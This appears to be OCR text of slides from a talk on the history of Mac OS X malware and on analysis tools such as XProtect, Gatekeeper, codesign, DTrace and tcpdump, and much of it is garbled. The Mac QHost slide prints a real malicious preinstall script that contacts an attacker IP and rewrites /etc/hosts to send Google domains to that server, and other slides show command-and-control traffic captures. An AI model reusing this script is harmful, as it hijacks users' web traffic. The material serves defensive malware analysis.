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First PC Virus (1986)
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Elk Cloner:
The program with a personallity

It will get on all wour
It will infiltrate
Clorner!

Ij.l |:: J-I—'
VoY chips

It will stick to }uu like glue




Mac Viruses

= nVir (1987) = ZUC (1990)
* Frankie (1987) = MDEF (1990)
= MacMag (1987) = CDEF (1990)

Scores (1988)
INIT29 (1988)
= ANTI-A (1989)
= WDEF (1989)

Merry Xmas (1991)
Threetunes (1991)
MBDF (1992)

and more

Reference:
Ferrer, Methusela (2009) ‘A closer Look at Mac OS X Threats’, VB2009
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“Apple Macintosh was
commonly associated with
viruses three decades ago

while viruses were not a
problemtfor PCs at the
Ime.”

Ferrer, Methusela (2009)
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Get a Mac Camgaign
(2006 — 2009)




OS X Malwares

= Amphimix / MP3Concept (2004)
= Often considered the first OS X malware
» Uses PEF — a pre OS X file format

= | eap (2006)
= First OS X virus / worm

* |ngtana (2006)
= First Bluetooth worm for non-mobile devices

= Macarena (2006)
= First ‘true’ OS X virus / parasitic file infector

—
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DNSChanger

= Also known as RSPlug and Jahlav

» Spreads by masquerading as codecs required to play
videos in pornographic websites

= Affiliated with Rove Digital
» Taken down by FBI's Operation Ghost Click in 2011

= Very active from 2007 to 2009

» File Quarantine feature introduced to OS X Leopard
In October 2007

= XProtect introduced in OS X Snow Leopard on
August 2009

—
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File Quarantine

@

“Install Adobe Flash Player” is an application downloaded
from the Internet. Are you sure you want to open it?

|| Don't warn me when opening applications on this disk image

“Install Adobe Flash Player" is on the disk image
“AdobeFlashPlayer_17_ta_install.dmg". Safari downloaded this disk image
today at 4:06 PM from get?.adobe.com.

[ Show Web Page ] [ Cancel ] [ Open ]

—
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File Quarantine

Joes-Mac:~ joe$ 1ls -1@ Downloads/AdobeFlashPlayer_17_ta_install.dmg

-rw-r-—r-—@ 1 joe staff E74577 Mar & 11:44 Downloads/AdobeFlashPlayer_17_ta_install.dmg
com.apple.diskimages. fsck 20
com.apple.diskimages. recentcksum 79
com.apple.metadata: kMDItemDown loadedDate 53

com.apple.metadata: kMDItemWhereFroms
com.apple.guarantine T4
Joes-Mac:~ joe$

—
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XProtect

“StealthBit" will damage your computer. You
should move it to the Trash.

It contains the “05X.CoinThief.A" malware.

i Report malware to Apple to protect other users

Safari downloaded this file today at 4:47 PM from
www.malicious.com.

[ Cancel ] Ev—llm-tﬂ-'liﬂih—ni

—
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XProtect

| Type

Walue

B ltermn 12
P ltem 13
¥ ltemn 14
Description
¥ LaunchServices
LSitemContentType
¥ Matches
¥ ltem O

Diction...
Dictian...
Dictian...

String

Dictian...

String
Array

Dictian...

(3 items)

(3 itemns)

(3 items)

05X._CoinThief.A

(1 item)
com.apple.application-bundle
(1 item)

(3 items)

ldentity

Data

<37c4be94 f2c08e90 a47825fe 7b2afbce 908b5d74> |

¥ MatchFile
NSURLMameKey

MatchType
P ltem 15
P ltemn 16
P ltem 17
b ltem 18

13

Dictian...

String
String

Diction...
Dictian...
Diction...
Diction...

(1 item)
.sig
Match

(3 items)
(3 items)
(3 itemns)
(3 items)
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Application Bundle

@ o App Store 12.6 MB
Modified: Oct 31, 2012 441 PM

¥ Spotlight Comments:

¥ General:

Kind: Application (Intel)
Size: 12,626,361 bytes (15.6 MB on
disk)
Where: /Applications

Created: December 9, 2011 3:08 AM
Modified: October 31, 2012 4:41 PM
Version: 1.1.2

Label: [ x|

] Open in 32-bit mode
|| Locked

14

Open

Show Package Contents

Move to Trash

Cet Info

Compress “"App Store”
Burn “App Store” to Disc...
Duplicate

Make Alias

Quick Look “App Store”

Copy “App Store”

Show View Options

New Email With Attachment

—
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Application Bundle

Date Modified

¥ (] Contents Oct 31, 2012 4:38 PM
[ 2 ﬁ _CodeSignature Oct 31, 2012 4:38 PM

ﬁ Info.plist Oct 31, 2012 4:30 PM

¥ [ MacOs Oct 31, 2012 4:38 PM

App 5tore Oct 10, 2012 10:48 PM
ﬁ Pkginfo Jun 24, 2012 7:38 PM
> ﬁ Plugins Dec 9, 2011 10:28 AM
» ] Resources Oct 31, 2012 4:38 PM
' version.plist Oct 31, 2012 4:30 PM
e ———

—
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Information Pro
List File

| Type

Value

BuildMachine OSBuild

Localization native development region

P Document types

String
String
Array

11656
English
(0 itemns)

Executable file

100

String

App Store

Help Book directory name

Help Book identifier

lcen file

Bundle identifier

InfoDictionary version

Bundle name

Bundle OS5 Type code

Bundle versions string, short

Bundle creator 05 Type code
- URL types

Bundle version

DTCompiler

String
String
String
String
String
String
String
String
String
Array
String
String

AppStore. help

App Store Help
appStore.icns
com.apple.appstore
b6.0

App Store

APPL

1.1.2

(2 items)

92.10

perty

—
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Mach-O (Mach object)

* The executable binary used in OS X

= Architecture specific (e.g. PowerPC or Intel; 32-bit or
64-bit)

= Multiple Mach objects can be grouped into a single
Universal Binary

= Documented in Apple Developer References:

» https://developer.apple.com/library/mac/documentati
on/DeveloperTools/Conceptual/MachORuntime/

—
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Joes-Mac:samples joe$d file /JApplications/Apph Store.app/Contents/MacOS/Apph Store
fApplications/App Store.app/Contents/Mac0S/App Store: Mach-0 universal binary with 2 architectures

FApplications/App Store.app/Contents/MacOS/App Store (for architecture xB6_64): Mach-0 64-bit executable x86_64

fApplications/App Store.app/Contents/Mac0S/App Store (for architecture i3B6): Mach-0 executable 1386

Joes-Mac:samples joe$ otool -f JApplications/App\ Store.app/Contents/Mac0S/4pphy Store
Fat headers

fat_magic @xcafebabe
nfat_arch 2
architecture 8

cputype 16777223
cpusubtype 3
capabilities @x80

offset 4896

size 419360

align 2~12 (4896)
architecture 1

cputype 7

cpusubtype 3

capabilities @x@

offset 425084

size 335296

align 2~12 (40896)
Joes-Mac:samples joes [
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Installer Packages

» Metapackage (.mpkg): a collection of packages

» Package (.pkg): a collection of files

* Prior to OS X 10.5: resides in a folder

» OS X 10.5 and up: uses XAR (eXtensible ARchiver)

Reference:
Brett, Matthew (n.d.) ‘OS X Flat packages’, [online], Available:
http://matthew-brett.github.io/docosx/flat_packages.html [2015-03-27]

—
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Metapackage —
efender

Mac

Date Modified

¥ [] Contents
e distribution.dist
Y Info.plist
¥ [ Packages
‘w macdefender.pkg
‘« macdefendersetupPostflight.pkg

M Pkginfo
¥ [] Resources
¥ [ en.proj
M package_version
¥ [ ru.lproj
| Description.plist
M MacDefender.info

20

Today 7:46 PM
May 1, 2011 1:54 PM
May 1, 2011 1:54 PM
Today 7:46 PM
Today 7:46 PM
Today 7:47 PM
May 1, 2011 1:54 PM
Today 7:47 PM
Today 7:47 PM
May 1, 2011 1:54 PM
Today 7:47 PM
May 1, 2011 1:54 PM
May 1, 2011 1:54 PM
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MacDefender

= Also known as MacSecurity, MacProtector, Mac*

= Distributed through malicious websites that appear at
the top of Google search results (via SEO poisoning)

» Pretends to find malwares on users’ system to scare
them into ‘buying’

» Opens pornographic websites to convince users that
they are infected

» Part of a multiplatform attack
= Spawned 5 variants in the first week alone

—
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MacDefender

800 An AppleCare support rep talks: Mac malware is "getting worse" | ZDNet

By Ed Bott for The Ed Bott Report | May 18, 2011 -- 05:21 GMT (06:21 BST)

W Follow @edbott :.’37.2I-( followers | Get the ZDNet Announce UK newsletter now

f Share on Facebook :El !Tweet :E| in Share

Over the weekend, I got an e-mail from an AppleCare support rep, who was responding to my recent
reports of Mac malware being found in the wild. At least one prominent voice in the Mac community
dismisses these reports as “crying wolf.” The view from inside an Apple call center says it's for real:

I can tell you for a fact, many, many people are falling for this attack. Our call volume here
at AppleCare is 4-5x higher than normal and [the overwhelming majority] of our calls are
about this Mac Defender and its aliases. Many frustrated Mac users think their Mac is
impervious to viruses and think this is a real warning from Apple. I really wish I could say
not many people will fall for this, but in this last week, we have had nothing but Mac
Defender and similar calls.

22
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Package — Mac QHost

Date Modified
v [ Contents Today 3:30 PM
M Archive.bom Jul 22, 2011 4:39 PM
[7] Archive.pax.gz Jul 22, 2011 4:39 PM
[] Info.plist Jul 26, 2011 9:28 AM
™ Pkginfo Jul 22, 2011 4:39 PM
¥ [ Resources Today 3:30 PM

v [] en.lproj Today 3:30 PM
M background Jul 22, 2011 3:18 PM
D Description.plist Jul 22, 2011 4:39 PM
M package_version Jul 26, 2011 9:28 AM
preinstall Jul 26, 2011 9:28 AM

—
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Mac QHost

vt joe A5 2

Joes-Mac:~ joe$ file Downloads/FlashPlayer.pkg/Contents/Resources/preinstall
Downloads/FlashPlayer.pkg/Contents/Resources/preinstall: POSIX shell script text executable
Joes-Mac:~ joe$ cat Downleoads/FlashPlayer.pkg/Contents/Resources/preinstall

#!/bin/sh

curl 91.224.160.26/~admin/url.php

echo '' | tee -a fprivate/etc/hosts

echoe '91.224.1608.26 google.com' | tee -a /private/etc/hosts
eche '91.224.1608.26 google.co.uk' | tee —a fprivate/etc/hosts
echoe '91.224.1608.26 google.com.au' | tee —-a fprivate/etc/hosts

echo '91.224.160.26 google.ca' | tee -a fprivate/etc/hosts
echo '91.224.160.26 google.us' | tee -a fprivatefetc/hosts

echo '91.224.160.26 www.google.com' | tee -a Jprivatefetc/hosts
echo '91.224.160.26 www.google.co.uk' | tee -a fprivate/etc/hosts
echo '91.224.160.26 www.google.com.au' | tee -a fprivate/etc/hosts
echo '91.224.160.26 www.google.ca' | tee —-a fprivatefetc/hosts
Joes-Mac:~ joes I

—
F-Secure. Q¥



Flat

ackage —
Fﬂp -

ashback

Joes-Mac:~
Downloads/FlashPlayer-11-macos.pkg: xar archive - version 1

25

Joes-Mac:~ joe$ xar -t —v —-f Downloads/FlashPlayer-1l-macos.pkg

—rw—r—r——
drwxr-xr-x
drwxr—xr—x
—FW—r—r—
drwxr-xr-x
—rW—r—r—
—rw—r—r——
—rw—r—r——
—rw—r—r——

alis/wheel
alis/wheel
alis/wheel
alis/wheel
alis/wheel
alis/wheel
alis/wheel
alis/wheel
alis/wheel

Joes-Mac:~ joes JJ

T42

@

5]
128522
@

288
35137
124
32744

2811-89-26
2811-89-26
2811-89-26
2811-87-22
2811-859-26
2811-859-26
2811-89-26
2811-89-26
2811-89-26

14:

14:
14:
14:
14:
14:
14:
14:
14:

26:
26:
26
18:
26:
26:
26:
26:
2G:

48
48
48
25
48
48
47
47
47

Distribution

Resources
Resources/en. lproj
Resources/en. lproj/fbackoround

flashplayer.pkg
flashplayer.pkog/PackageInfo
flashplayer.pko/Bom
flashplayer.pkg/Payload
flashplayer.pkg/Scripts

—
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Flashback

= Next evolution of Mac QHost
» Hijacks Google search results for click fraud
» Spreads by masquerading as a Flash Player installer

= | ater variants spread by exploiting unpatched
vulnerability in Java

= |nfected more than 650K Macs in 2012

= Gatekeeper introduced to OS X Mountain Lion on July
2012 and to OS X Lion on September 2012

—
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“We are dealing with what Is
probably the biggest
outbreak since Blaster
struck the Windows world
all the way back In the
summer of 2003”

OxCERT (2012)



Flashback

= VB2012 Presentation
= https://www.youtube.com/watch?v=ReWKPVLIibZ4

= VB2012 Paper

» http://www.f-secure.com/weblog/archives/Aquilino-
VB2012.pdf

—
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Gatekeeper

Security & Privacy

FileVault | Firewall | Privacy ]

A login password has been set for this user | Change Password...

™ Require password for sleep and screen saver | immediately H
|| Show a message when the screen is locked | Set Lock Message. . |

[V Disable automatic login

Allow applications downloaded from:
(*) Mac App Store
(_)Mac App Store and identified developers
() Anywhere

[‘i Click the lock to prevent further changes. ®

—
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Gatekeeper

“Install Adobe Flash Player” can’t be
opened because it was not downloaded
from the Mac App Store.

Your security preferences allow installation of only
apps from the Mac App Store.

“Install Adobe Flash Player” is on the disk image
“AdobeFlashPlayer_17_ta_install.dmg". Safari
downloaded this disk image today at 4:06 PM from
get2.adobe.com.

ook

—
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Kumar in the Mac
(KItM)

= Also known as Hackback and FileSteal
» Digitally signed by Rajinder Kumar hence the name

= Distributed through email attachments containing
Application bundles that are posing as documents and
media files

= Takes screenshot, collects files and/or download
additional payload depending on the variant

» Used in APT attacks tied to Operation Hangover

—
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codesign

Joes—Mac-mini:~ joed codesign —dvvv macs.app/
Executable=/Users/joe/macs.app/Contents/Mac0S/macs
Identifier=com.util.file

Format=bundle with Mach-0 universal (1386 x86_64)
CodeDirectory w=20180 size=1362 flags=0xBinocne) hashes=608+5 location=embedded
Hash type=shal size=20
CDHash=bBaa57a2B8lc2dBccebc9ali568cbe3feas2ffE0e
Signature size=8514

Authority=Developer ID Application: Rajinder Kumar
Authority=Develeper ID Certification Authority
Authority=Apple Root CA

Timestamp=Apr 8, 2813 11:52:49 AM

Info.plist entries=22

Sealed Resources rules=4 filess2

Internal reguirements count=1 size=208
Joes-Mac-mini:~ joes J}

—
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DIlrace

» Stands for ‘Dynamic Tracing’

» Achieved by inserting ‘probes’ to strategic locations in
the OS and the application code

= Written in the ‘D Language’

Reference:
Dalrymple, Mark (2013) ‘Hooked on Dtrace, part 1’, [online], Available:
https://www.bignerdranch.com/blog/hooked-on-dtrace-part-1/ [2015-03-30]

—
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Provider

DIlrace

Module Name

!yscall::exec*:entry

printf ("%s executed %s\n", execname, copyinstr{arg@)};

b

syscall::open*:entry .
Jexecname != “"dtrace"/ FUNCtION
{

fname [execname] = copyinstri{arg@);

b

syscall::open*:return
fexecname != “dtrace"/

—
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tcpdump

|® 00 (& joe — tcpdump — 108x28

Jogs—Mac:~ joed sudo tcpdump —-i en® -n -X

tcpdump: verbose output suppressed, use -v or —-wv for full protecel decode

listening on en®, link-type EN1@MB (Ethernet), capture size 65535 bytes

15:48:54.174749 IP 192.168.106.128.58366 > 192.168.106.2.53: 18979+ A? pop.digitalinsight-ltd.com. (44)

0x0008: 4500 @048 S5hIE 0000 ffll @008 cBaB 6aB@ E..H[......... i
BxB018: c@aB 6a@2 eife 8035 8034 5619 2Zaed 0180 ..j....5.4V.#...
Bx0020: 001 Q0RO ODED 0DOD B37E 6F7O 1264 6967 ......... pop.dig
Bx8038: 6374 6l6c 6%6e 7369 676B T742d 6cT74 6483 italinsight-1ltd.
DxB048: 6367 6400 0001 8001 COM.auus
15:48:55.177295 IP 192.168.106.128.58366 > 192.168.106.2.53: 18973+ AT pop.digitalinsight-1ltd.com. (44}

Dx0008: 4500 QO4B 50D 00OQ ffll @000 cBaB 6aB@ E..HP......... j.
Bx0018: cPaB 6a@2 e3fe 8035 8034 5619 2Zael 0100 ..j....5.4V.#...
0x0020: 0001 000D 000D 0000 8370 6F7B 1264 6967 ......... pop.dig
BxB@38: 6974 616c 696e 7369 6VGB 742d 6cT4 6483 italinsight-ltd.
BxB048: 6367 6400 0BE1 8001 com. ...

15:4@:58.184850 IP 192.168.106.128.58366 = 152.168.106.2.53: 489+ A? pop. dlgltallnSLth ltd.com. (44)
Dx0008: 4500 0048 Sedf 0000 ffll @008 cBal 6al@
BxB018: c@aB 6aB2 eife 0035 8034 5619 0199 olee
0x0020: 0001 0OQQ OPRD 0PR@ 8370 GT7O 1264 6967
8x0038: 6974 616c 696e 7369 6768 T42d 6cT74 6403
DxB048: 6367 6400 0001 8001

15:41:01.679047 IP 192.168.106.2.53 > 192.168.106.128.58366: 18979 1/0/90 A 204.11.56.48 (60)

0x0008: 4500 @058 ffc7 0000 8011 e4f9 cBal 6aB2 E..X.......... i
BxB018: cPaB 6380 0835 e3fe 0044 41cl 2aed B18@ ..j..5...DA.#...
Dx0028: 0001 0001 000D 0000 8370 6F7B 1264 6967 ......... pop.dig

BxB038: 6974 616c 696e 7369 6VGE 742d 6cT4 6483 italinsight-1ltd.
0x0048: 6367 6000 9Pl 9001 cOBc @801 OBAL PRAR ComM............-
0xB058: 0005 0084 ccdb 3230 G000 @80 000 ..., g80....

—
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» Highly suspected to be the payload used in the security
breach of the Internet giants Twitter, Facebook, Apple
and Microsoft during early 2013

* Information is scarce but if correct, then the malware
was distributed through a watering hole attack (via the
IPhoneDevSDK website) exploiting a 0-day Java
vulnerability

» No actual samples but just one line Perl scripts or
commands for launchd to open a reverse shell
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Pintsized

([ ®06

(f*‘frjoe — tcpdump — 108%27

15:41:@5.688520 IP 192.168.186.2.53 = 192,

Bx@008: 4500 0858 ffcd
Bx0018: cPad 6380 AB35
Bx@028: o001 bRl ooRd
Bx0038: 69574 B6l6c 696e
BxB048: 636T 6d0D @PO@1
Bx@058: 0805 0804 ccodb

Bead BA1l
e3fe A@44
aeee @378
7369 B7EE
Beal ceec
3830 ooRoO

168.106.128.58366: 409 1/0/8 A 204.11.56.48 (60) B

edf7 cPad 6ap2
6beb @199 B18@ ..j ceaDkeiaas
678 1264 6367 ......... pop.dig
742d 6c74 6483 italinsight-1ltd.
B2R1 DBRL1 PBR COM...cu.eewennss
geee ... 80.

15:41:85.689694 IP 192.168.106.128.49156 > 204.11.56.48.443: Flags [5], seq 356274883, win 65535, options [m
val 122533888 ecr ©,sackOK,ecl], length @

ss 1460,nop,wscale 3,nop,nop,TS
BxBBBA: 4500 BR48 3abc
Bx@018: cclb 3830 ceed
Bx0020: bBOZ fIff 2797
BxBB38: 0101 BBRa @74d

15:41:85.690196 IP 204.11.56.48.

4808 4086
B1lbb 153c
aaaa @204
b7be eeB@

443 = 192.

64240, options [mss 1468], length @

Bx@08B: 4500 8B2c ffca
Bx@018: cBal GaB@ @lbb
Bx@028: 60812 faf@ b2d@
Bx2B30: oBee

peRe BEBE
cBl4 BOce
peRe 82p4

BOBR cBaB 6aBB E..@:.@.@..... j.
52c3 000D PERR ..B80..... <Ruuuns
B5b4 8183 B3B3 ....fu.eineenn..
@eRe 0402 BORR ..... [ T
168.106.128.49156: Flags [5.], seg 2311980898, ack 356274884, win
Bb9d ccBb 3838 E..peiviinnnns )
8762 153¢ 524 ..jee.e.... b.<R.

B5b4 0OE0 BBEB T ......iiieeiees

15:41:905.69023%9 IP 192.168.106.128.49156 > 204.11.56.48.443: Flags [.], ack 1, win 65535, length @
Dx0OBB: 4500 @028 3le7 4000 4006 00O cPaB 6aB@ E..(1.8.@8..... i-
BxB010: ccBb 3830 c8@4 @lbb 153c S52cd B9ce @763 ..BB..... <R....c

Bx@B28: 5818 ffff 2f7f

Pocads

15:41:85.695494 IP 192,168.106.128.49156 > 204.11.56.48,443: Flags [P.], seg 1:9, ack 1, win 65535, length &
@x0088: 4500 0930 ARET 4000 4906 QABD cPalB GaBR
BxB018: ccBb 3830 cB@4 Blbb 153c 52cd B9ce B763

BxB020: 5018 ffff 287 0000 7368 2d33 Ze32 2420

—
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Knock Knock

globalupdat
path: fusr/bin/globalupdate
plist: /Library/LaunchDaemons/com.apple.globalupdate.plist
hash: 9837cf29ed485daelle22955724a00e7

usbmuxd
path: /System/Library/PrivateFrameworks/MobileDevice. framework/Versdqns/A/Resources/usbmuxd
plist: /System/Library/LaunchDaemons/com.apple.usbmuxd.plist
hash: BBc6f3ab3bed413f15f177db426900Bcc

locate.updatedb
path: fusr/libexec/locate.updatedb

plist: /System/Library/LaunchDaemons/com.apple. locate.plist WI re Lu rker

hash: eBcc729a3e@5233c41ldebBcE672dB836TC1

ntpd-wrapper
path: fusr/libexec/ntpd-wrapper
plist: /System/Library/LaunchDaemons/org.ntp.ntpd.plist
hash: b4B620933f@9beb45f35c59073ccabde

machook
path: fusr/local/machook/machook
plist: /Library/LaunchDaemons/com.apple.machook_damon.plist
hash: S5b43df4facdcac52412126a6cE04853c

38
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WireLurker

= Also known as Machook

= Distributed through trojanized application found in the
Maiyadi App Store
= Monitor for connected I0S devices via USB
= Collect information about the device

» |nstall apps to the device. Uses enterprise
provisioning for non-jailbroken devices.

—
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Other Commands

= Dump printable strings
®» strings - -n <min string length> <filename>

= List IP sockets
" |sof -i -n -P
» Monitor system calls
» fs_usage -w -f <mode>
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Read Carefully =)
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m Apple - Why You'll Love a Mac ...

Apple - Why You'll Love a Mac - It has a better operating system.

http: / jwww.apple.com /why-mac/better-os/

It

PC

oesn’t get
viruses.

A Mac isn’t susceptible to
the thousands of viruses

plaguing Windows-based
computers. That's thanks
to built-in defenses in Mac
0S X that keep you safe,
without any work on
your part.

Safeguard your data. By doing nothing.

With virtually no effort on your part, 05 X defends against
viruses and other malicious applications, or malware. For
example, it thwarts hackers through a technique called
“sandboxing” — restricting what actions programs can perform
on your Mac, what files they can access, and what other
programs they can launch. With FileVault 2, your data is safe and
secure — even if it falls into the wrong hands. FileVault 2
encrypts the entire drive on your Mac, protecting your data with
KTS-AESW 128 encryption. Initial encryption is fast and
unobtrusive. It can also encrypt any removable drive, helping
you secure Time Machine backups or other external drives with
ease. Other automatic security features include Library
Randomization, which prevents malicious commands from
finding their targets, and Execute Disable, which protects the
memory in your Mac from attacks.

Download with peace of mind.

Innocent-looking files downloaded over the Internet may contain
dangerous malware in disguise. That's why files you download
using Safari, Mail, and iChat are screened to determine if they
contain applications. If they do, O5 X alerts you, then warns you
the first time you open one.

Mac security features.
A Mac takes strong
measures to keep your
digital world as safe as
possible.

Defense against viruses
and malware

Download alerts
Automatic security updates
Parental controls
Antiphishing alerts

Password Assistant

ecoco0o0o IO
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